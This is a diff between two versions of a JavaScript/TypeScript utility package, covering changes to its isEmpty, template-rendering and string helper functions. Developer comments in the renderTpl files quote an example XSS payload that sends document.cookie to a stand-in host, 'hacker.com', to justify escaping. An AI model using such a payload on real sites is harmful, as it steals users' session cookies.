@codady/utils 0.0.37 → 0.0.39

package/src/isEmpty.js

@@ -1,5 +1,5 @@
 /**
- * @since Last modified: 2025/12/25 14:22:26
+ * @since Last modified: 2026/01/20 12:02:43
  * @function isEmpty
  * @description Determine whether it is empty data.The data itself is empty data: 0| ''|false|undefined|null; <br>empty function: function () {}|() => {}; <br>empty array and empty objects: []|{}| [null]| [ undefined]| ['']| [""];<br> empty symbol object: symbol()|symbol.For(), will be judged as empty.
  * @param {*} data  - Can be any data
@@ -16,30 +16,31 @@ const isEmpty = (data) => {
     let type = getDataType(data), flag;
     if (!data) {
         //0,'',false,undefined,null
-        flag = true;
+        return true;
     }
-    else {
-        //function(){}|()=>{}
-        //[null]|[undefined]|['']|[""]
-        //[]|{}
-        //Symbol()|Symbol.for()
-        //Set,Map
-        //Date/Regex
-        flag = (type === 'Object') ? (Object.keys(data).length === 0) :
-            (type === 'Array') ? data.join('') === '' :
-                (type === 'Function') ? (data.toString().replace(/\s+/g, '').match(/{.*}/g)[0] === '{}') :
-                    (type === 'Symbol') ? (data.toString().replace(/\s+/g, '').match(/\(.*\)/g)[0] === '()') :
-                        (type === 'Set' || type === 'Map') ? data.size === 0 :
-                            type === 'Date' ? isNaN(data.getTime()) :
-                                type === 'RegExp' ? data.source === '' :
-                                    type === 'ArrayBuffer' ? data.byteLength === 0 :
-                                        (type === 'NodeList' || type === 'HTMLCollection') ? data.length === 0 :
-                                            ('length' in data && typeof data.length === 'number') ? data.length === 0 :
-                                                ('size' in data && typeof data.size === 'number') ? data.size === 0 :
-                                                    (type === 'Error' || data instanceof Error) ? data.message === '' :
-                                                        (type.includes('Array') && (['Uint8Array', 'Int8Array', 'Uint16Array', 'Int16Array', 'Uint32Array', 'Int32Array', 'Float32Array', 'Float64Array'].includes(type))) ? data.length === 0 :
-                                                            false;
+    if (['String', 'Number', 'Boolean'].includes(type)) {
+        return false;
     }
+    //function(){}|()=>{}
+    //[null]|[undefined]|['']|[""]
+    //[]|{}
+    //Symbol()|Symbol.for()
+    //Set,Map
+    //Date/Regex
+    flag = (type === 'Object') ? (Object.keys(data).length === 0) :
+        (type === 'Array') ? data.join('') === '' :
+            (type === 'Function') ? (data.toString().replace(/\s+/g, '').match(/{.*}/g)[0] === '{}') :
+                (type === 'Symbol') ? (data.toString().replace(/\s+/g, '').match(/\(.*\)/g)[0] === '()') :
+                    (type === 'Set' || type === 'Map') ? data.size === 0 :
+                        type === 'Date' ? isNaN(data.getTime()) :
+                            type === 'RegExp' ? data.source === '' :
+                                type === 'ArrayBuffer' ? data.byteLength === 0 :
+                                    (type === 'NodeList' || type === 'HTMLCollection') ? data.length === 0 :
+                                        ('length' in data && typeof data.length === 'number') ? data.length === 0 :
+                                            ('size' in data && typeof data.size === 'number') ? data.size === 0 :
+                                                (type === 'Error' || data instanceof Error) ? data.message === '' :
+                                                    (type.includes('Array') && (['Uint8Array', 'Int8Array', 'Uint16Array', 'Int16Array', 'Uint32Array', 'Int32Array', 'Float32Array', 'Float64Array'].includes(type))) ? data.length === 0 :
+                                                        false;
     return flag;
 };
 export default isEmpty;

package/src/isEmpty.ts

@@ -1,5 +1,5 @@
 /**
- * @since Last modified: 2025/12/25 14:22:26
+ * @since Last modified: 2026/01/20 12:02:43
  * @function isEmpty
  * @description Determine whether it is empty data.The data itself is empty data: 0| ''|false|undefined|null; <br>empty function: function () {}|() => {}; <br>empty array and empty objects: []|{}| [null]| [ undefined]| ['']| [""];<br> empty symbol object: symbol()|symbol.For(), will be judged as empty.
  * @param {*} data  - Can be any data
@@ -16,29 +16,32 @@ const isEmpty = (data: any): boolean => {
     let type = getDataType(data), flag: boolean;
     if (!data) {
         //0,'',false,undefined,null
-        flag = true;
-    } else {
-        //function(){}|()=>{}
-        //[null]|[undefined]|['']|[""]
-        //[]|{}
-        //Symbol()|Symbol.for()
-        //Set,Map
-        //Date/Regex
-        flag = (type === 'Object') ? (Object.keys(data).length === 0) :
-            (type === 'Array') ? data.join('') === '' :
-                (type === 'Function') ? (data.toString().replace(/\s+/g, '').match(/{.*}/g)[0] === '{}') :
-                    (type === 'Symbol') ? (data.toString().replace(/\s+/g, '').match(/\(.*\)/g)[0] === '()') :
-                        (type === 'Set' || type === 'Map') ? data.size === 0 :
-                            type === 'Date' ? isNaN(data.getTime()) :
-                                type === 'RegExp' ? data.source === '' :
-                                    type === 'ArrayBuffer' ? data.byteLength === 0 :
-                                        (type === 'NodeList' || type === 'HTMLCollection') ? data.length === 0 :
-                                            ('length' in data && typeof data.length === 'number') ? data.length === 0 :
-                                                ('size' in data && typeof data.size === 'number') ? data.size === 0 :
-                                                    (type === 'Error' || data instanceof Error) ? data.message === '' :
-                                                        (type.includes('Array') && (['Uint8Array', 'Int8Array', 'Uint16Array', 'Int16Array', 'Uint32Array', 'Int32Array', 'Float32Array', 'Float64Array'].includes(type))) ? data.length === 0 :
-                                                            false;
+        return true;
     }
+    if (['String', 'Number', 'Boolean'].includes(type)) {
+        return false;
+    }
+    //function(){}|()=>{}
+    //[null]|[undefined]|['']|[""]
+    //[]|{}
+    //Symbol()|Symbol.for()
+    //Set,Map
+    //Date/Regex
+    flag = (type === 'Object') ? (Object.keys(data).length === 0) :
+        (type === 'Array') ? data.join('') === '' :
+            (type === 'Function') ? (data.toString().replace(/\s+/g, '').match(/{.*}/g)[0] === '{}') :
+                (type === 'Symbol') ? (data.toString().replace(/\s+/g, '').match(/\(.*\)/g)[0] === '()') :
+                    (type === 'Set' || type === 'Map') ? data.size === 0 :
+                        type === 'Date' ? isNaN(data.getTime()) :
+                            type === 'RegExp' ? data.source === '' :
+                                type === 'ArrayBuffer' ? data.byteLength === 0 :
+                                    (type === 'NodeList' || type === 'HTMLCollection') ? data.length === 0 :
+                                        ('length' in data && typeof data.length === 'number') ? data.length === 0 :
+                                            ('size' in data && typeof data.size === 'number') ? data.size === 0 :
+                                                (type === 'Error' || data instanceof Error) ? data.message === '' :
+                                                    (type.includes('Array') && (['Uint8Array', 'Int8Array', 'Uint16Array', 'Int16Array', 'Uint32Array', 'Int32Array', 'Float32Array', 'Float64Array'].includes(type))) ? data.length === 0 :
+                                                        false;
+
     return flag;
 }
 export default isEmpty;

package/src/renderTpl.js

@@ -1,11 +1,11 @@
 /**
- * @since Last modified: 2025/11/15 16:24:20
+ * @since Last modified: 2026/01/16 15:11:15
  * @function renderTpl
  * @description Get template string through parameters.Cut the template strings into fragments through labels, and put into the array through the PUSH method, and finally merge into a new string.
  * @param {string} html - Text string with variables, for example: html=`I like {{this.name}}, she is {{this.age}} years old`.
  * @param {object|array} data - Variable key-value pairs, for example: data={name:'Lily',age:20} or [{name:'Lily'},{name:'Mark'}].
  * @param {Object} [options] - Configuration options to control the rendering behavior:
- * @param {boolean} [options.safe=false] - If true, HTML special characters in the template will be escaped to prevent XSS attacks. Default is `false`.
+ * @param {boolean} [options.escape=null] - If true, HTML special characters in the template will be escaped to prevent XSS attacks. Default is null.
  * @param {boolean} [options.strict=false] - If true, the template engine will require using `this` to access properties, especially for arrays. Default is `false`.
  * @param {string} [options.start='{{'] - The opening delimiter for template variables. Default is `{{`.
  * @param {string} [options.end='}}'] - The closing delimiter for template variables. Default is `}}`.
@@ -13,8 +13,10 @@
  * @returns {string}  - The string after the variables are replaced with data.
  */
 'use strict';
-import { escapeHTML } from "./escapeHTML";
+import escapeHTML from "./escapeHTML";
+import getUniqueId from "./getUniqueId";
 import requireTypes from "./requireTypes";
+import toSingleLine from "./toSingleLine";
 const renderTpl = (html, data, options = {}) => {
     requireTypes(html, 'string', (error) => {
         //不符合要求的类型
@@ -33,33 +35,54 @@ const renderTpl = (html, data, options = {}) => {
         console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
         return html;
     }
-    let opts = Object.assign({ safe: false, strict: false, start: '{{', end: '}}', suffix: '/' }, options), tplStr = opts.safe ? escapeHTML(html) : html, 
+    let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options), 
     //regStart='\\{\\{'
     regStart = opts.start.split('').map(k => '\\' + k).join(''), 
     //regEnd='\\}\\}'
-    regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '', add = (fragment, isScript) => {
-        isScript ? (code += (fragment.endsWith(opts.suffix) ? fragment.replace('=>', '=>').slice(0, -1) + '\n' : 'str.push(' + fragment + ');\n'))
-            : (code += (fragment !== '' ? 'str.push("' + fragment.replace(/"/g, '\\"') + '");\n' : ''));
+    regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '', 
+    //代替escapeHTML的方法，在字符串内部的映射，确保不会重名
+    escapeName = `__esc__${getUniqueId()}`, add = (fragment, isScript) => {
+        if (isScript) {
+            //处理语句类（如 {{ if(x) /}} ）
+            if (fragment.endsWith(opts.suffix)) {
+                code += (fragment.slice(0, -opts.suffix.length) + '\n');
+            }
+            else {
+                //处理表达式类（如 {{ name }} ）
+                //需要避免{ name: '<script>fetch("http://hacker.com?cookie=" + document.cookie)</script>' }这种情况
+                //虽然new Function不会执行，但是也需要将其当做纯文本输出，避免renderTpl输出的文本自带风险，此时则需要转意，确保renderTpl的返回值是安全的纯文本
+                code += (opts.escape ? `str.push(${escapeName}(String(${fragment}), "${opts.escape}"));\n` : `str.push(${fragment});\n`);
+            }
+        }
+        else {
+            //fragment可能自带单引号或双引号，需要转意，避免与push("xxx")语句冲突
+            //js语句不能直接文本换行，所以也需要转意换行符
+            //换行转意的另外一个意义是，保持原文本的换行，因为在toSingleLine中会删除所有物理换行以确保代码可被执行
+            code += (fragment !== '' ? 'str.push("' + fragment.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n').replace(/\r/g, '\\r') + '");\n' : '');
+        }
         return add;
     };
-    while (match = tplReg.exec(tplStr)) {
-        add(tplStr.slice(cursor, match.index))(match[1], true);
+    while (match = tplReg.exec(html)) {
+        add(html.slice(cursor, match.index))(match[1], true);
         cursor = match.index + match[0].length;
     }
-    add(tplStr.slice(cursor));
+    add(html.slice(cursor));
     code += `return str.join('');`;
+    //一行行化代码
+    //如果文本"XXX (换行)"，js执行会报错，所以需要清理换行
+    code = toSingleLine(code);
     try {
         if (opts.strict || dataType === 'Array') {
             //严格模式，或者是数组数据，则必须使用this
-            result = new Function(code.replace(/[\r\t\n]/g, '')).apply(data);
+            result = new Function(escapeName, code).apply(data, [escapeHTML]);
         }
         else {
             ////非严格模式，且是对象，则可省略this
             let keys = Object.keys(data), values = Object.values(data), 
-            //keys传参,this依然可指向data
-            tmp = new Function(...keys, code.replace(/[\r\t\n]/g, '')).bind(data);
+            //keys传参，可直接以key为值,this依然可指向data
+            tmp = new Function(...keys, escapeName, code).bind(data);
             //执行时以value赋值
-            result = tmp(...values);
+            result = tmp(...values, escapeHTML);
         }
     }
     catch (err) {

package/src/renderTpl.ts

@@ -1,11 +1,11 @@
 /**
- * @since Last modified: 2025/11/15 16:24:20
+ * @since Last modified: 2026/01/16 15:11:15
  * @function renderTpl
  * @description Get template string through parameters.Cut the template strings into fragments through labels, and put into the array through the PUSH method, and finally merge into a new string.
  * @param {string} html - Text string with variables, for example: html=`I like {{this.name}}, she is {{this.age}} years old`.
  * @param {object|array} data - Variable key-value pairs, for example: data={name:'Lily',age:20} or [{name:'Lily'},{name:'Mark'}].
  * @param {Object} [options] - Configuration options to control the rendering behavior:
- * @param {boolean} [options.safe=false] - If true, HTML special characters in the template will be escaped to prevent XSS attacks. Default is `false`.
+ * @param {boolean} [options.escape=null] - If true, HTML special characters in the template will be escaped to prevent XSS attacks. Default is null.
  * @param {boolean} [options.strict=false] - If true, the template engine will require using `this` to access properties, especially for arrays. Default is `false`.
  * @param {string} [options.start='{{'] - The opening delimiter for template variables. Default is `{{`.
  * @param {string} [options.end='}}'] - The closing delimiter for template variables. Default is `}}`.
@@ -14,14 +14,16 @@
  */
 'use strict';
 import { T_obj } from "../types/utils";
-import { escapeHTML } from "./escapeHTML";
+import escapeHTML, { EscapeStrength } from "./escapeHTML";
+import getUniqueId from "./getUniqueId";
 import requireTypes from "./requireTypes";
+import toSingleLine from "./toSingleLine";
 type options = {
-    safe?: boolean,
+    escape?: EscapeStrength,
     strict?: boolean,
-    start?:string,
-    end?:string,
-    suffix?:string,
+    start?: string,
+    end?: string,
+    suffix?: string,
 }
 const renderTpl = (html: string, data: T_obj | any[], options: options = {}): string => {
     requireTypes(html, 'string', (error) => {
@@ -43,8 +45,7 @@ const renderTpl = (html: string, data: T_obj | any[], options: options = {}): st
         console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
         return html;
     }
-    let opts = Object.assign({ safe: false, strict: false, start: '{{', end: '}}', suffix: '/' }, options),
-        tplStr = opts.safe ? escapeHTML(html) : html,
+    let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options),
         //regStart='\\{\\{'
         regStart = opts.start.split('').map(k => '\\' + k).join(''),
         //regEnd='\\}\\}'
@@ -54,29 +55,48 @@ const renderTpl = (html: string, data: T_obj | any[], options: options = {}): st
         cursor = 0,
         match: any,
         result = '',
+        //代替escapeHTML的方法，在字符串内部的映射，确保不会重名
+        escapeName = `__esc__${getUniqueId()}`,
         add = (fragment: string, isScript?: boolean) => {
-            isScript ? (code += (fragment.endsWith(opts.suffix) ? fragment.replace('=>', '=>').slice(0, -1) + '\n' : 'str.push(' + fragment + ');\n'))
-                : (code += (fragment !== '' ? 'str.push("' + fragment.replace(/"/g, '\\"') + '");\n' : ''));
+            if (isScript) {
+                //处理语句类（如 {{ if(x) /}} ）
+                if (fragment.endsWith(opts.suffix)) {
+                    code += (fragment.slice(0, -opts.suffix.length) + '\n');
+                } else {
+                    //处理表达式类（如 {{ name }} ）
+                    //需要避免{ name: '<script>fetch("http://hacker.com?cookie=" + document.cookie)</script>' }这种情况
+                    //虽然new Function不会执行，但是也需要将其当做纯文本输出，避免renderTpl输出的文本自带风险，此时则需要转意，确保renderTpl的返回值是安全的纯文本
+                    code += (opts.escape ? `str.push(${escapeName}(String(${fragment}), "${opts.escape}"));\n` : `str.push(${fragment});\n`);
+                }
+            } else {
+                //fragment可能自带单引号或双引号，需要转意，避免与push("xxx")语句冲突
+                //js语句不能直接文本换行，所以也需要转意换行符
+                //换行转意的另外一个意义是，保持原文本的换行，因为在toSingleLine中会删除所有物理换行以确保代码可被执行
+                code += (fragment !== '' ? 'str.push("' + fragment.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n').replace(/\r/g, '\\r') + '");\n' : '');
+            }
             return add;
         }
-    while (match = tplReg.exec(tplStr)) {
-        add(tplStr.slice(cursor, match.index))(match[1], true);
+    while (match = tplReg.exec(html)) {
+        add(html.slice(cursor, match.index))(match[1], true);
         cursor = match.index + match[0].length;
     }
-    add(tplStr.slice(cursor));
+    add(html.slice(cursor));
     code += `return str.join('');`;
+    //一行行化代码
+    //如果文本"XXX (换行)"，js执行会报错，所以需要清理换行
+    code = toSingleLine(code);
     try {
         if (opts.strict || dataType === 'Array') {
             //严格模式，或者是数组数据，则必须使用this
-            result = new Function(code.replace(/[\r\t\n]/g, '')).apply(data);
+            result = new Function(escapeName, code).apply(data, [escapeHTML]);
         } else {
             ////非严格模式，且是对象，则可省略this
             let keys = Object.keys(data),
                 values = Object.values(data),
-                //keys传参,this依然可指向data
-                tmp = new Function(...keys, code.replace(/[\r\t\n]/g, '')).bind(data);
+                //keys传参，可直接以key为值,this依然可指向data
+                tmp = new Function(...keys, escapeName, code).bind(data);
             //执行时以value赋值
-            result = tmp(...values);
+            result = tmp(...values, escapeHTML);
         }
     } catch (err: any) {
         console.error(`'${err.message}'`, ' in \n', code, '\n');

package/src/renderTpt.js

@@ -0,0 +1,73 @@
+/**
+ * @since Last modified: 2026/01/16 11:41:59
+ * @function renderTpl
+ * @description Get template string through parameters.Cut the template strings into fragments through labels, and put into the array through the PUSH method, and finally merge into a new string.
+ * @param {string} html - Text string with variables, for example: html=`I like {{this.name}}, she is {{this.age}} years old`.
+ * @param {object|array} data - Variable key-value pairs, for example: data={name:'Lily',age:20} or [{name:'Lily'},{name:'Mark'}].
+ * @param {Object} [options] - Configuration options to control the rendering behavior:
+ * @param {boolean} [options.escape=null] - If true, HTML special characters in the template will be escaped to prevent XSS attacks. Default is null.
+ * @param {boolean} [options.strict=false] - If true, the template engine will require using `this` to access properties, especially for arrays. Default is `false`.
+ * @param {string} [options.start='{{'] - The opening delimiter for template variables. Default is `{{`.
+ * @param {string} [options.end='}}'] - The closing delimiter for template variables. Default is `}}`.
+ * @param {string} [options.suffix='/'] - The suffix for ending script-like expressions. Default is `/`. This is used to close template expressions like `{{this.fn() /}}`.
+ * @returns {string}  - The string after the variables are replaced with data.
+ */
+'use strict';
+import escapeHTML from "./escapeHTML";
+import requireTypes from "./requireTypes";
+import toSingleLine from "./toSingleLine";
+const renderTemplate = (html, data, options = {}) => {
+    requireTypes(html, 'string', (error) => {
+        //不符合要求的类型
+        console.error(error);
+        return '';
+    });
+    if (!html.trim())
+        return '';
+    let dataType = requireTypes(data, ['array', 'object'], (error) => {
+        //不符合要求的类型
+        console.error(error);
+        return html;
+    });
+    //data={}/[]
+    if (Object.keys(data).length === 0) {
+        console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
+        return html;
+    }
+    let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options), tplStr = opts.escape ? escapeHTML(html, opts.escape) : html, 
+    //regStart='\\{\\{'
+    regStart = opts.start.split('').map(k => '\\' + k).join(''), 
+    //regEnd='\\}\\}'
+    regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '', add = (fragment, isScript) => {
+        isScript ? (code += (fragment.endsWith(opts.suffix) ? fragment.replace('=>', '=>').slice(0, -1) + '\n' : 'str.push(' + fragment + ');\n'))
+            : (code += (fragment !== '' ? 'str.push("' + fragment.replace(/"/g, '\\"') + '");\n' : ''));
+        return add;
+    };
+    while (match = tplReg.exec(tplStr)) {
+        add(tplStr.slice(cursor, match.index))(match[1], true);
+        cursor = match.index + match[0].length;
+    }
+    add(tplStr.slice(cursor));
+    code += `return str.join('');`;
+    //一行行化代码
+    code = toSingleLine(code);
+    try {
+        if (opts.strict || dataType === 'Array') {
+            //严格模式，或者是数组数据，则必须使用this
+            result = new Function(code).apply(data);
+        }
+        else {
+            ////非严格模式，且是对象，则可省略this
+            let keys = Object.keys(data), values = Object.values(data), 
+            //keys传参,this依然可指向data
+            tmp = new Function(...keys, code).bind(data);
+            //执行时以value赋值
+            result = tmp(...values);
+        }
+    }
+    catch (err) {
+        console.error(`'${err.message}'`, ' in \n', code, '\n');
+    }
+    return result;
+};
+export default renderTemplate;

package/src/sliceStrEnd.js

@@ -0,0 +1,63 @@
+/**
+ * @since Last modified: 2023-12-08 11:37:11
+ * @function sliceStrEnd
+ * @description Use keyword to cut forward or backwards from the string.
+ * @param {object} options  - The parameter object of the function.
+ * @property {string} options.str  - The string to be intercepted.Allow keyword many times.
+ * @property {string} [options.key='#']  - Keywords participating in intercepting.
+ * @property {string} [options.type='beforebegin'|'afterbegin'|'beforeend'|'afterend']  - Method of intercepting.The optional values include 'beforebegin','afterbegin','beforeend' and 'afterend'
+ * @property {boolean} [options.contain=true]  - Whether the output result contains keyword.
+ * @returns {string|''} - Return the interception string does not change the original string.
+ * @see {@link https://codepen.io/axui/pen/NWoOKEY|demo @ codepen}
+ * @example
+ * ax.sliceStrEnd({str:'123#321',key:'#'});
+ * <!--return interception string -->
+ */
+//简介：使用关键字从字符串中向前或向后截取字符串。
+//参数options：截取参数，是一个对象。
+//参数属性str：将要被截取的字符串。允许key出现多次。
+//参数属性key：截取的关键字。
+//参数属性type：截取类型，可选值包括：'beforebegin'，'afterbegin'，'beforeend'，'afterend'。
+//参数属性contain：输出结果是否包含key，默认true。
+//返回：截取后的字符串，不改变原字符串。
+'use strict';
+const sliceStrEnd = ({ str = '', key = '#', type = 'afterend', contain = true }) => {
+    //str和key先强制转字符串
+    str = str.toString();
+    key = key.toString();
+    let result = '', indexKey = 0, lenKey = key.length, lenEnd = str.length, indexStart = 0;
+    //str和key不能为空，否则直接输出空值。允许填入0
+    if (!str || !key) {
+        return result;
+    }
+    str = str.trim();
+    if (str.includes(key)) {
+        if (type === 'beforebegin') {
+            indexKey = str.indexOf(key);
+            contain ? indexKey += lenKey : null;
+            //确认开始和结束
+            lenEnd = indexKey;
+        }
+        else if (type === 'afterbegin') {
+            indexKey = str.indexOf(key);
+            !contain ? indexKey += lenKey : null;
+            //确认开始和结束
+            indexStart = indexKey;
+        }
+        else if (type === 'beforeend') {
+            indexKey = str.lastIndexOf(key);
+            contain ? indexKey += lenKey : null;
+            //确认开始和结束
+            lenEnd = indexKey;
+        }
+        else if (type === 'afterend') {
+            indexKey = str.lastIndexOf(key);
+            !contain ? indexKey += lenKey : null;
+            //确认开始和结束
+            indexStart = indexKey;
+        }
+        result = str.substring(indexStart, lenEnd);
+    }
+    return result;
+};
+export default sliceStrEnd;

package/src/sliceStrEnd.ts

@@ -0,0 +1,60 @@
+/**
+ * @since Last modified: 2023-12-08 11:37:11
+ * @function sliceStrEnd
+ * @description Use keyword to cut forward or backwards from the string.
+ * @param {object} options  - The parameter object of the function.
+ * @property {string} options.str  - The string to be intercepted.Allow keyword many times.
+ * @property {string} [options.key='#']  - Keywords participating in intercepting.
+ * @property {string} [options.type='beforebegin'|'afterbegin'|'beforeend'|'afterend']  - Method of intercepting.The optional values include 'beforebegin','afterbegin','beforeend' and 'afterend'
+ * @property {boolean} [options.contain=true]  - Whether the output result contains keyword.
+ * @returns {string|''} - Return the interception string does not change the original string.
+ * @see {@link https://codepen.io/axui/pen/NWoOKEY|demo @ codepen}
+ * @example
+ * ax.sliceStrEnd({str:'123#321',key:'#'});
+ * <!--return interception string -->
+ */
+//简介：使用关键字从字符串中向前或向后截取字符串。
+//参数options：截取参数，是一个对象。
+//参数属性str：将要被截取的字符串。允许key出现多次。
+//参数属性key：截取的关键字。
+//参数属性type：截取类型，可选值包括：'beforebegin'，'afterbegin'，'beforeend'，'afterend'。
+//参数属性contain：输出结果是否包含key，默认true。
+//返回：截取后的字符串，不改变原字符串。
+'use strict';
+const sliceStrEnd = ({ str = '', key = '#', type = 'afterend', contain = true }: { str: string, key?: string, type?: 'beforebegin' | 'afterbegin' | 'beforeend' | 'afterend', contain?: boolean }): string => {
+    //str和key先强制转字符串
+    str = str.toString();
+    key = key.toString();
+    let result = '', indexKey = 0, lenKey = key.length, lenEnd = str.length, indexStart = 0;
+    //str和key不能为空，否则直接输出空值。允许填入0
+    if (!str || !key) {
+        return result;
+    }
+    str = str.trim();
+    if (str.includes(key)) {
+        if (type === 'beforebegin') {
+            indexKey = str.indexOf(key);
+            contain ? indexKey += lenKey : null;
+            //确认开始和结束
+            lenEnd = indexKey;
+        } else if (type === 'afterbegin') {
+            indexKey = str.indexOf(key);
+            !contain ? indexKey += lenKey : null;
+            //确认开始和结束
+            indexStart = indexKey;
+        } else if (type === 'beforeend') {
+            indexKey = str.lastIndexOf(key);
+            contain ? indexKey += lenKey : null;
+            //确认开始和结束
+            lenEnd = indexKey;
+        } else if (type === 'afterend') {
+            indexKey = str.lastIndexOf(key);
+            !contain ? indexKey += lenKey : null;
+            //确认开始和结束
+            indexStart = indexKey;
+        }
+        result = str.substring(indexStart, lenEnd);
+    }
+    return result;
+}
+export default sliceStrEnd;

package/src/toSingleLine.js

@@ -0,0 +1,9 @@
+/**
+ * @since Last modified: 2026/01/16 11:38:24
+ * Collapses a multi-line string into a single-line string.
+ */
+const toSingleLine = (str, collapseSpaces = false) => {
+    const result = str.replace(/[\r\t\n]/g, '');
+    return collapseSpaces ? result.replace(/\s+/g, ' ') : result;
+};
+export default toSingleLine;

package/src/toSingleLine.ts

@@ -0,0 +1,9 @@
+/**
+ * @since Last modified: 2026/01/16 11:38:24
+ * Collapses a multi-line string into a single-line string.
+ */
+const toSingleLine = (str: string, collapseSpaces: boolean = false): string => {
+    const result = str.replace(/[\r\t\n]/g, '');
+    return collapseSpaces ? result.replace(/\s+/g, ' ') : result;
+};
+export default toSingleLine;

package/src/escapeHtmlChars - /345/211/257/346/234/254.js"

@@ -1,28 +0,0 @@
-/**
- * @since Last modified: 2026/01/15 18:52:06
- * This function escapes special HTML characters in a string, converting them to their corresponding HTML entities.
- * It handles the following characters:
- *  - '&' -> '&'
- *  - '<' -> '&lt;'
- *  - '>' -> '&gt;'
- *  - '"' -> '&quot;'
- *  - "'" -> '&#39;'
- *
- * This is commonly used to prevent HTML injection and ensure that text is displayed correctly in web pages.
- *
- * @param {string} text - The string that needs to be escaped.
- * @returns {string} - A new string with special HTML characters replaced by their respective HTML entities.
- */
-const escapeHtmlChars = (text) => {
-    // Check if the input text is empty or undefined
-    if (!text)
-        return '';
-    // Replace the special characters with their corresponding HTML entities
-    return text
-        .replace(/&/g, '&amp;') // Replace '&' with '&amp;'
-        .replace(/</g, '&lt;') // Replace '<' with '&lt;'
-        .replace(/>/g, '&gt;') // Replace '>' with '&gt;'
-        .replace(/"/g, '&quot;') // Replace '"' with '&quot;'
-        .replace(/'/g, '&#39;'); // Replace "'" with '&#39;'
-};
-export default escapeHtmlChars;

package/src/escapeHtmlChars.js

@@ -1,28 +0,0 @@
-/**
- * @since Last modified: 2026/01/15 18:52:06
- * This function escapes special HTML characters in a string, converting them to their corresponding HTML entities.
- * It handles the following characters:
- *  - '&' -> '&'
- *  - '<' -> '&lt;'
- *  - '>' -> '&gt;'
- *  - '"' -> '&quot;'
- *  - "'" -> '&#39;'
- *
- * This is commonly used to prevent HTML injection and ensure that text is displayed correctly in web pages.
- *
- * @param {string} text - The string that needs to be escaped.
- * @returns {string} - A new string with special HTML characters replaced by their respective HTML entities.
- */
-const escapeHtmlChars = (text) => {
-    // Check if the input text is empty or undefined
-    if (!text)
-        return '';
-    // Replace the special characters with their corresponding HTML entities
-    return text
-        .replace(/&/g, '&amp;') // Replace '&' with '&amp;'
-        .replace(/</g, '&lt;') // Replace '<' with '&lt;'
-        .replace(/>/g, '&gt;') // Replace '>' with '&gt;'
-        .replace(/"/g, '&quot;') // Replace '"' with '&quot;'
-        .replace(/'/g, '&#39;'); // Replace "'" with '&#39;'
-};
-export default escapeHtmlChars;

package/src/escapeHtmlChars.ts

@@ -1,29 +0,0 @@
-/**
- * @since Last modified: 2026/01/15 18:52:06
- * This function escapes special HTML characters in a string, converting them to their corresponding HTML entities.
- * It handles the following characters:
- *  - '&' -> '&'
- *  - '<' -> '&lt;'
- *  - '>' -> '&gt;'
- *  - '"' -> '&quot;'
- *  - "'" -> '&#39;'
- *
- * This is commonly used to prevent HTML injection and ensure that text is displayed correctly in web pages.
- *
- * @param {string} text - The string that needs to be escaped.
- * @returns {string} - A new string with special HTML characters replaced by their respective HTML entities.
- */
-const escapeHtmlChars = (text: string): string => {
-  // Check if the input text is empty or undefined
-  if (!text) return '';
-
-  // Replace the special characters with their corresponding HTML entities
-  return text
-    .replace(/&/g, '&amp;')    // Replace '&' with '&amp;'
-    .replace(/</g, '&lt;')     // Replace '<' with '&lt;'
-    .replace(/>/g, '&gt;')     // Replace '>' with '&gt;'
-    .replace(/"/g, '&quot;')   // Replace '"' with '&quot;'
-    .replace(/'/g, '&#39;');   // Replace "'" with '&#39;'
-}
-
-export default escapeHtmlChars;